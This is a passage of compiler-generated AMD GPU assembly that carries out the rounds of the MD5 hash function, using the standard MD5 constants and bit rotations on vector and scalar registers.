	v_readfirstlane_b32 s31, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
	s_add_i32 s31, s31, s30
	s_and_b32 s33, s31, s30
	s_and_not1_b32 s34, 0xefcdab89, s31
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
	s_or_b32 s33, s34, s33
	v_add3_u32 v3, v1, s33, 0xbcdb4dd9
	s_mov_b32 s33, exec_lo
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 15
	v_add_nc_u32_e32 v3, s31, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_not_b32_e32 v5, v3
	v_and_b32_e32 v6, s31, v3
	v_and_b32_e32 v5, s30, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(SALU_CYCLE_1)
	v_add_nc_u32_e32 v6, v0, v6
	s_add_i32 s30, s9, s30
	s_add_i32 s30, s30, 0xf57c0faf
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v6, v5, 0xb18b7a77
	v_alignbit_b32 v5, v5, v5, 10
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_not_b32_e32 v6, v5
	v_and_b32_e32 v7, v5, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_1)
	v_and_b32_e32 v6, s31, v6
	s_add_i32 s31, s31, 0x4787c62a
	v_add3_u32 v6, s30, v7, v6
                                        ; implicit-def: $sgpr30
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v6, v6, v6, 25
	v_add_nc_u32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_not_b32_e32 v7, v6
	v_and_b32_e32 v8, v6, v5
	v_and_b32_e32 v7, v3, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, s31, v8, v7
	v_alignbit_b32 v7, v7, v7, 20
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_not_b32_e32 v8, v7
	v_and_b32_e32 v9, v7, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v5, v8
	v_add_nc_u32_e32 v3, v3, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0xa8304613
	v_alignbit_b32 v3, v3, v3, 15
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_not_b32_e32 v8, v3
	v_and_b32_e32 v9, v3, v7
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v6, v8
	v_add_nc_u32_e32 v5, v5, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v8, 0xfd469501
	v_alignbit_b32 v5, v5, v5, 10
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_not_b32_e32 v8, v5
	v_and_b32_e32 v9, v5, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v7, v8
	v_add_nc_u32_e32 v6, v6, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, v6, v8, 0x698098d8
	v_alignbit_b32 v6, v6, v6, 25
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v6, v5
	v_not_b32_e32 v8, v6
	v_and_b32_e32 v9, v6, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v3, v8
	v_add_nc_u32_e32 v7, v7, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, v7, v8, 0x8b44f7af
	v_alignbit_b32 v7, v7, v7, 20
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_not_b32_e32 v8, v7
	v_and_b32_e32 v9, v7, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v5, v8
	v_add_nc_u32_e32 v3, v3, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0xffff5bb1
	v_alignbit_b32 v3, v3, v3, 15
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_not_b32_e32 v8, v3
	v_and_b32_e32 v9, v3, v7
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v6, v8
	v_add_nc_u32_e32 v5, v5, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v8, 0x895cd7be
	v_alignbit_b32 v5, v5, v5, 10
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_not_b32_e32 v8, v5
	v_and_b32_e32 v9, v5, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v7, v8
	v_add_nc_u32_e32 v6, v6, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, v6, v8, 0x6b901122
	v_alignbit_b32 v6, v6, v6, 25
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v6, v5
	v_not_b32_e32 v8, v6
	v_and_b32_e32 v9, v6, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v3, v8
	v_add_nc_u32_e32 v7, v7, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, v7, v8, 0xfd987193
	v_alignbit_b32 v7, v7, v7, 20
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_not_b32_e32 v8, v7
	v_and_b32_e32 v9, v7, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v10, v5, v8
	v_add_nc_u32_e32 v3, v3, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v10, 0xa6794416
	v_alignbit_b32 v3, v3, v3, 15
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_not_b32_e32 v9, v3
	v_and_b32_e32 v10, v3, v7
	v_and_b32_e32 v8, v3, v8
	s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_3)
	v_and_b32_e32 v11, v6, v9
	v_add_nc_u32_e32 v5, v5, v10
	v_add3_u32 v6, 0xf61e2562, s8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v11, 0x49b40821
	v_alignbit_b32 v5, v5, v5, 10
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_and_b32_e32 v10, v5, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v6, v6, v8, v10
	v_and_b32_e32 v8, v5, v9
	v_alignbit_b32 v6, v6, v6, 27
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v7, v7, v8
	v_add_nc_u32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v6, v3
	v_add3_u32 v7, v7, v8, 0xc040b340
	v_not_b32_e32 v8, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v7, v7, v7, 23
	v_and_b32_e32 v8, v6, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v7, v7, v6
	v_add_nc_u32_e32 v3, v3, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v7, v5
	v_add3_u32 v5, 0xe9b6c7aa, s8, v5
	v_add3_u32 v3, v3, v8, 0x265e5a51
	v_not_b32_e32 v8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v3, v3, v3, 18
	v_and_b32_e32 v8, v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_and_b32_e32 v9, v3, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v5, v5, v8, v9
	v_not_b32_e32 v8, v7
	v_alignbit_b32 v5, v5, v5, 12
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v3, v8
	v_add_nc_u32_e32 v5, v5, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v6, v6, v8
	v_and_b32_e32 v8, v5, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v6, v6, v8, 0xd62f105d
	v_not_b32_e32 v8, v3
	v_alignbit_b32 v6, v6, v6, 27
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v5, v8
	v_add_nc_u32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v7, v7, v8
	v_and_b32_e32 v8, v6, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v7, v7, v8, 0x2441453
	v_not_b32_e32 v8, v5
	v_alignbit_b32 v7, v7, v7, 23
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v6, v8
	v_add_nc_u32_e32 v7, v7, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v3, v3, v8
	v_and_b32_e32 v8, v7, v5
	v_add3_u32 v5, 0xe7d3fbc8, s9, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v3, v3, v8, 0xd8a1e681
	v_not_b32_e32 v8, v6
	v_alignbit_b32 v3, v3, v3, 18
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_b32_e32 v8, v7, v8
	v_add_nc_u32_e32 v3, v3, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v9, v3, v6
	v_add3_u32 v5, v5, v8, v9
	v_not_b32_e32 v8, v7
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v5, v5, v5, 12
	v_and_b32_e32 v8, v3, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v5, v5, v3
	v_add_nc_u32_e32 v6, v6, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v5, v7
	v_add3_u32 v6, v6, v8, 0x21e1cde6
	v_not_b32_e32 v8, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v6, v6, v6, 27
	v_and_b32_e32 v8, v5, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v6, v6, v5
	v_add_nc_u32_e32 v7, v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v6, v3
	v_add3_u32 v7, v7, v8, 0xc337085e
	v_not_b32_e32 v8, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v7, v7, v7, 23
	v_and_b32_e32 v8, v6, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v7, v7, v6
	v_add3_u32 v3, v0, v3, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v7, v5
	v_add3_u32 v3, v3, v8, 0xf4d50d87
	v_not_b32_e32 v8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v3, v3, v3, 18
	v_and_b32_e32 v8, v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v3, v3, v7
	v_add_nc_u32_e32 v5, v5, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v3, v6
	v_add3_u32 v5, v5, v8, 0x455a14ed
	v_not_b32_e32 v8, v7
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v5, v5, v5, 12
	v_and_b32_e32 v8, v3, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v5, v5, v3
	v_add_nc_u32_e32 v6, v6, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v5, v7
	v_add3_u32 v6, v6, v8, 0xa9e3e905
	v_not_b32_e32 v8, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v6, v6, v6, 27
	v_and_b32_e32 v8, v5, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v6, v6, v5
	v_add3_u32 v7, v1, v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v6, v3
	v_add3_u32 v7, v7, v8, 0xfcefa3f8
	v_not_b32_e32 v8, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v7, v7, v7, 23
	v_and_b32_e32 v8, v6, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v7, v7, v6
	v_add_nc_u32_e32 v3, v3, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v7, v5
	v_add3_u32 v3, v3, v8, 0x676f02d9
	v_not_b32_e32 v8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_alignbit_b32 v3, v3, v3, 18
	v_and_b32_e32 v8, v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_add_nc_u32_e32 v3, v3, v7
	v_add_nc_u32_e32 v5, v5, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_and_b32_e32 v8, v3, v6
	v_add3_u32 v5, v5, v8, 0x8d2a4c8a
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v5, v5, v5, 12
	v_add_nc_u32_e32 v5, v5, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v5, v3
	v_xor_b32_e32 v9, v8, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, v6, v9, 0xfffa3942
	v_alignbit_b32 v6, v6, v6, 28
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v5, v6
	v_xor_b32_e32 v8, v8, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, v7, v8, 0x8771f681
	v_alignbit_b32 v7, v7, v7, 21
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_xor3_b32 v8, v6, v5, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0x6d9d6122
	v_alignbit_b32 v3, v3, v3, 16
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_xor3_b32 v8, v7, v6, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v8, 0xfde53894
	v_alignbit_b32 v5, v5, v5, 9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_xor3_b32 v8, v3, v7, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, s13, v6, v8
	v_alignbit_b32 v6, v6, v6, 28
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v6, v5
	v_xor3_b32 v8, v5, v3, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, s14, v7, v8
	v_alignbit_b32 v7, v7, v7, 21
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_xor3_b32 v8, v6, v5, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0xf6bb4b60
	v_alignbit_b32 v3, v3, v3, 16
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_xor3_b32 v8, v7, v6, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v8, 0xbebfbc70
	v_alignbit_b32 v5, v5, v5, 9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_xor3_b32 v8, v3, v7, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, v6, v8, 0x289b7ec6
	v_alignbit_b32 v6, v6, v6, 28
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v6, v5
	v_xor3_b32 v8, v5, v3, v6
	v_add_nc_u32_e32 v3, v0, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, s15, v7, v8
	v_alignbit_b32 v7, v7, v7, 21
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_xor3_b32 v8, v6, v5, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0xd4ef3085
	v_alignbit_b32 v3, v3, v3, 16
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_xor3_b32 v8, v7, v6, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v8, 0x4881d05
	v_alignbit_b32 v5, v5, v5, 9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_xor3_b32 v8, v3, v7, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v6, v6, v8, 0xd9d4d039
	v_alignbit_b32 v6, v6, v6, 28
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v6, v5
	v_xor3_b32 v8, v5, v3, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v7, v7, v8, 0xe6db99e5
	v_alignbit_b32 v7, v7, v7, 21
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_xor3_b32 v8, v6, v5, v7
	v_add_nc_u32_e32 v5, v1, v5
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v3, v3, v8, 0x1fa27cf8
	v_alignbit_b32 v3, v3, v3, 16
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, v3, v7
	v_xor3_b32 v8, v7, v6, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v5, v5, v8, 0xc4ac5665
	v_not_b32_e32 v8, v7
	v_alignbit_b32 v5, v5, v5, 9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_or_b32_e32 v8, v5, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v8, v3
	v_add3_u32 v6, s16, v6, v8
	v_not_b32_e32 v8, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v6, v6, v6, 26
	v_add_nc_u32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v8, v6, v8
	v_xor_b32_e32 v8, v8, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v7, v7, v8, 0x432aff97
	v_not_b32_e32 v8, v5
	v_alignbit_b32 v7, v7, v7, 22
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_or_b32_e32 v8, v7, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v8, v6
	v_add3_u32 v3, v3, v8, 0xab94242f
	v_not_b32_e32 v8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 17
	v_add_nc_u32_e32 v3, v3, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v8, v3, v8
	v_xor_b32_e32 v8, v8, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_3)
	v_add3_u32 v5, v5, v8, 0xfc93a039
	v_not_b32_e32 v8, v7
	v_add_nc_u32_e32 v7, v0, v7
	v_alignbit_b32 v5, v5, v5, 11
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_or_b32_e32 v8, v5, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v8, v3
	v_add3_u32 v6, v6, v8, 0x655b59c3
	v_not_b32_e32 v8, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v6, v6, v6, 26
	v_add_nc_u32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v8, v6, v8
	v_xor_b32_e32 v8, v8, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v7, v7, v8, 0x8f0ccc92
	v_not_b32_e32 v8, v5
	v_alignbit_b32 v7, v7, v7, 22
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v7, v7, v6
	v_or_b32_e32 v8, v7, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v8, v6
	v_add3_u32 v3, v3, v8, 0xffeff47d
	v_not_b32_e32 v8, v6
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 17
	v_add_nc_u32_e32 v3, v3, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v8, v3, v8
	v_xor_b32_e32 v8, v8, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v5, s17, v5, v8
	v_not_b32_e32 v8, v7
	v_alignbit_b32 v5, v5, v5, 11
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, v5, v3
	v_or_b32_e32 v8, v5, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v8, v8, v3
	v_add3_u32 v6, v6, v8, 0x6fa87e4f
	v_not_b32_e32 v8, v3
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v6, v6, v6, 26
	v_add_nc_u32_e32 v9, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v6, v9, v8
	v_xor_b32_e32 v6, v6, v5
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_add3_u32 v6, v7, v6, 0xfe2ce6e0
	v_not_b32_e32 v7, v5
	v_alignbit_b32 v6, v6, v6, 22
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v8, v6, v9
	v_or_b32_e32 v6, v8, v7
	v_not_b32_e32 v7, v8
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v6, v6, v9
	v_add3_u32 v3, v3, v6, 0xa3014314
	v_not_b32_e32 v6, v9
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 17
	v_add_nc_u32_e32 v3, v3, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v6, v3, v6
	v_xor_b32_e32 v6, v6, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v5, v6, 0x4e0811a1
	v_alignbit_b32 v5, v5, v5, 11
